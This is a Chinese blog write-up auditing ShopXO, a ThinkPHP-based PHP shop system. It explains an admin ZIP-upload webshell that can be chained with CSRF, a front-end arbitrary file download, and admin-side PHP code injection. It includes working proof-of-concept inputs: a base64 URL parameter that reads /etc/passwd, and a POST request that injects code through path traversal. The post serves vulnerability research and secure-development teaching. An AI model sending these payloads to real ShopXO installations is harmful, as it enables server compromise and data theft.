前言

前段时间,一直在 java 学习的路上,感觉 php 相关的有点搁置了。前天随便翻了下 cnvd,想找个目标复习下 php 审计。因为之后,可能会去学习分析些自动化审计工具,所以审计上的思路还是要经常复习 : )

01

ShopXO 商城系统、国内领先企业级 B2C 免费开源电商系统,包含 pc、h5、微信小程序、支付宝小程序、百度小程序,遵循 apache2 开源协议发布、基于 ThinkPHP5.1框架研发。

漏洞思考

这是一个商城系统,以前可能并没有相关的审计经验,相比于 cms 的话,前台的功能会比较多一点。关于这种基于路由的系统,一个功能对应一个方法,审计上可以从每个控制器的方法入手,一个个去跟踪相关处理逻辑,这样也会比较全面的分析到每个功能点。而像其他的基于多文件入口的系统,一个功能或几个功能可能对应一个文件,可以通过正则定位一些输入点,然后回溯寻找利用链,比如/\$_(GET|POST|COOKIE)/i。针对不同系统,可能会有相应的全局取 gpc 数据的函数,这些也要写到正则中,根据具体情况编写正则搜索。

以上是对业务逻辑代码的审计思路,很多系统可能是基于一些框架去开发的,在分析完业务代码上的安全问题后,也可以尝试去对框架本身做一定的分析,看看是否存在一些安全问题。

像上一篇 zentao 的分析,通过搜索危险函数,可以快速定位到一些存在隐患的代码处。以及以前 tp 出过 rce 的洞,通过定位输入点,我们能发现一些存在明显漏洞的代码。

02

代码审计

我会先对开头 cnvd 上报的漏洞进行分析,然后再简单讲一下自己挖掘的一些漏洞。

后台 zip 上传 getshell

/application/admin/controller/Pluginsadmin.php

1
2
3
4
5
6
7
8
9
10
11
public function Upload()
{
// 是否ajax
if(!IS_AJAX)
{
return $this->error('非法访问');
}

// 开始处理
return PluginsAdminService::PluginsUpload(input());
}

这里的 ajax 判断实现得很简单,用 get 传参就可以通过判断了。

1
2
// /public/core.php line 58
define('IS_AJAX', ((isset($_SERVER['HTTP_X_REQUESTED_WITH']) && 'xmlhttprequest' == strtolower($_SERVER['HTTP_X_REQUESTED_WITH'])) || isset($_REQUEST['ajax']) && $_REQUEST['ajax'] == 'ajax'));

/application/service/PluginsAdminService.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
public static function PluginsUpload($params = [])
{
// 文件格式化校验
$type = array('application/zip', 'application/octet-stream', 'application/x-zip-compressed');
if(!in_array($_FILES['file']['type'], $type))
{
return DataReturn('文件格式有误,请上传zip压缩包', -2);
}

// 资源目录
$dir_list = [
'_controller_' => APP_PATH.'plugins'.DS,
'_view_' => APP_PATH.'plugins'.DS.'view'.DS,
'_css_' => ROOT.'public'.DS.'static'.DS.'plugins'.DS.'css'.DS,
'_js_' => ROOT.'public'.DS.'static'.DS.'plugins'.DS.'js'.DS,
'_images_' => ROOT.'public'.DS.'static'.DS.'plugins'.DS.'images'.DS,
'_uploadfile_' => ROOT.'public'.DS.'static'.DS.'upload'.DS.'file'.DS,
'_uploadimages_' => ROOT.'public'.DS.'static'.DS.'upload'.DS.'images'.DS,
'_uploadvideo_' => ROOT.'public'.DS.'static'.DS.'upload'.DS.'video'.DS,
];

// 包名
$plugins_name = '';

// 开始解压文件
$resource = zip_open($_FILES['file']['tmp_name']);
if(!is_resource($resource))
{
return DataReturn('压缩包打开失败['.$resource.']', -10);
}

while(($temp_resource = zip_read($resource)) !== false)
{
if(zip_entry_open($resource, $temp_resource))
{
// 当前压缩包中项目名称
$file = zip_entry_name($temp_resource);

// 获取包名
if(empty($plugins_name))
{
// 应用不存在则添加
$plugins_name = substr($file, 0, strpos($file, '/'));
$ret = self::PluginsVerification($plugins_name);
if($ret['code'] != 0)
{
zip_entry_close($temp_resource);
return $ret;
}

// 排除临时文件和临时目录
if(strpos($file, '/.') === false && strpos($file, '__') === false)
{
// 文件包对应系统所在目录
$is_has_find = false;
foreach($dir_list as $dir_key=>$dir_value)
{
if(strpos($file, $dir_key) !== false)
{
$file = str_replace($plugins_name.'/'.$dir_key.'/', '', $dir_value.$file);
$is_has_find = true;
break;
}
}

// 没有匹配到则指定目录跳过
if($is_has_find == false)
{
continue;
}

// 截取文件路径
$file_path = substr($file, 0, strrpos($file, '/'));

// 路径不存在则创建
\base\FileUtil::CreateDir($file_path);

// 如果不是目录则写入文件
if(!is_dir($file))
{
// 读取这个文件
$file_size = zip_entry_filesize($temp_resource);
$file_content = zip_entry_read($temp_resource, $file_size);
@file_put_contents($file, $file_content);
}

// 关闭目录项
zip_entry_close($temp_resource);
}
}
}
}

漏洞很明显,完全没有对压缩包中的文件名及文件内容做任何过滤。需要注意的是,这里不能将 shell 写在 application 下的子目录中,因为该目录下的文件不能直接访问。

03

本来想用../命名文件,跳转目录上传,但是读出的文件名中会把/换成:。那我们写在 /public/static/plugins/js/ 下,压缩下面_js_文件夹上传即可。

04

05

因为该系统基本没有对 csrf 做防护,其验证身份逻辑只是简单的 cookie/session 形式,具体通过后台基类 Common 的 IsLogin() 方法实现。

/application/admin/controller/Common.php

1
2
3
4
5
6
7
8
9
10
11
12
protected function IsLogin()
{
if(session('admin') === null)
{
if(IS_AJAX)
{
exit(json_encode(DataReturn('登录失效,请重新登录', -400)));
} else {
die('<script type="text/javascript">if(self.frameElement && self.frameElement.tagName == "IFRAME"){parent.location.reload();}else{window.location.href="'.MyUrl('admin/admin/logininfo').'";}</script>');
}
}
}

所以,我们可以结合 csrf 去 getshell。

分析完该漏洞后,我过了一遍前台和 api 的每个控制器中的方法,没有找到很明显的漏洞点。在商城系统中,大部分的功能都需要和数据库交互,用户收货地址等信息的记录,购物车中的记录等,但是,关于 sql 注入防护方面,tp 还是做的比较好的。

前台任意文件下载

这是我在前台唯一找到的一处漏洞点,第一次看到这个方法的时候就感觉写得有问题。

/application/index/controller/Qrcode.php

1
2
3
4
5
6
7
8
9
10
11
public function Download()
{
$params = input();
if(empty($params['url']))
{
$this->assign('msg', 'url参数为空');
return $this->fetch('public/tips_error');
}

(new \base\Qrcode())->Download($params);
}

/extend/base/Qrcode.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public function Download($params = [])
{
// 图片地址
$url = base64_decode(urldecode($params['url']));

// 随机文件名
$filename = empty($params['filename']) ? date('YmdHis').GetNumberCode().'.png' : $params['filename'].'.png';

// 设置头信息
header('Pragma: public');
header('Expires: 0');
header('Cache-Control: must-revalidate, post-check=0, pre-check=0');
header('Cache-Control: private',false);
header('Content-Type: application/force-download');
header('Content-Disposition: attachment; filename="'.$filename.'"');
header('Content-Transfer-Encoding: binary');
header('Connection: close');
readfile($url);
}

这里漏洞也是很明显。

1
index.php?s=index/qrcode/Download?url=ZmlsZTovLy9ldGMvcGFzc3dk

因为这里太过明显了,出于好奇,我搜索了一下。

参考:http://www.thinkphp.cn/topic/36582.html

可以看到,这个功能点和 tp 官网的代码几乎是一样的。在开发的时候,只是单纯为了实现功能,而并没有去思考这个功能会产生什么其他问题。

后台漏洞

后台的问题其实不少,可能也是因为很多开发者并没有对后台的安全特别重视吧。下面就简单讲一个,其他漏洞感兴趣的可以自己去挖掘一下。

/application/admin/controller/Pluginsadmin.php

1
2
3
4
5
6
7
8
9
10
11
public function Save()
{
// 是否ajax请求
if(!IS_AJAX)
{
return $this->error('非法访问');
}

// 开始处理
return PluginsAdminService::PluginsSave(input('post.'));
}

/application/service/PluginsAdminService.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
public static function PluginsSave($params = [])
{
// 请求参数
$p = [
[
'checked_type' => 'empty',
'key_name' => 'plugins',
'error_msg' => '应用唯一标记不能为空',
],
[
'checked_type' => 'empty',
'key_name' => 'logo',
'error_msg' => '请上传LOGO',
],
[
'checked_type' => 'empty',
'key_name' => 'name',
'error_msg' => '应用名称不能为空',
],
[
'checked_type' => 'empty',
'key_name' => 'author',
'error_msg' => '作者不能为空',
],
[
'checked_type' => 'empty',
'key_name' => 'author_url',
'error_msg' => '作者主页不能为空',
],
[
'checked_type' => 'empty',
'key_name' => 'version',
'error_msg' => '版本号不能为空',
],
[
'checked_type' => 'empty',
'key_name' => 'desc',
'error_msg' => '描述不能为空',
],
[
'checked_type' => 'empty',
'key_name' => 'apply_terminal',
'error_msg' => '请至少选择一个适用终端',
],
[
'checked_type' => 'empty',
'key_name' => 'apply_version',
'error_msg' => '请至少选择一个适用系统版本',
],
];
$ret = ParamsChecked($params, $p);
if($ret !== true)
{
return DataReturn($ret, -1);
}

// 权限校验
$ret = self::PowerCheck();
if($ret['code'] != 0)
{
return $ret;
}

// 应用唯一标记
$plugins = trim($params['plugins']);

// 应用校验
$ret = self::PluginsVerification($plugins);
if($ret['code'] != 0)
{
return $ret;
}

// 应用目录不存在则创建
$app_dir = APP_PATH.'plugins'.DS.$plugins;
if(\base\FileUtil::CreateDir($app_dir) !== true)
{
return DataReturn('应用主目录创建失败', -10);
}

// 生成配置文件
$ret = self::PluginsConfigCreated($params, $app_dir);
if($ret['code'] != 0)
{
return $ret;
}

// 应用主文件生成
$ret = self::PluginsApplicationCreated($params, $app_dir);
if($ret['code'] != 0)
{
return $ret;
}

return DataReturn(empty($params['id']) ? '创建成功' : '更新成功', 0);
}

跟进 PluginsApplicationCreated()。

1
2
3
4
5
// line 729
if(@file_put_contents($app_dir.DS.'admin'.DS.'Admin.php', $admin) === false)
{
return DataReturn('应用文件创建失败[Admin.php]', -11);
}

问题也很明显。

1
2
3
POST /shopxo/admin.php?s=/pluginsadmin/save&ajax=ajax HTTP/1.1

plugins=llfam;/*/../../../../test&logo=logo&name=*/phpinfo();/*&author=author&author_url=author_url&&version=version&desc=1&apply_terminal=applyter&apply_version=appversion

总结

写这篇文章,其实主要不是分析漏洞,因为这些漏洞的成因都是开发不注意安全所导致的,安全人员很容易就能发现这些问题。tp 可以说是国内广泛使用的框架了,前段时间对 tp 做过一定的审计,也没审出什么问题。但是,框架的安全并不代表实际系统的安全,框架只是给予了开发一些便利,具体功能的实现还是开发去做,所以,在开发阶段仍然需要重视安全问题。

关于 sdl,自己也在慢慢接触学习。引用云大的一句话。

漏洞发现得越晚,修复成本越高,如果是线上运营的系统被爆出漏洞,修复成本除了下线、修复、重新上线导致的业务损失成本、人员成本之外,甚至还包括了消除公关事件影响方面的成本。所以需要在产品上线之前建设安全开发体系,尽可能早的发现、解决安全问题

这里其实就是SDL的本质所在,安全前移。

参考:http://www.thinkphp.cn/topic/36582.html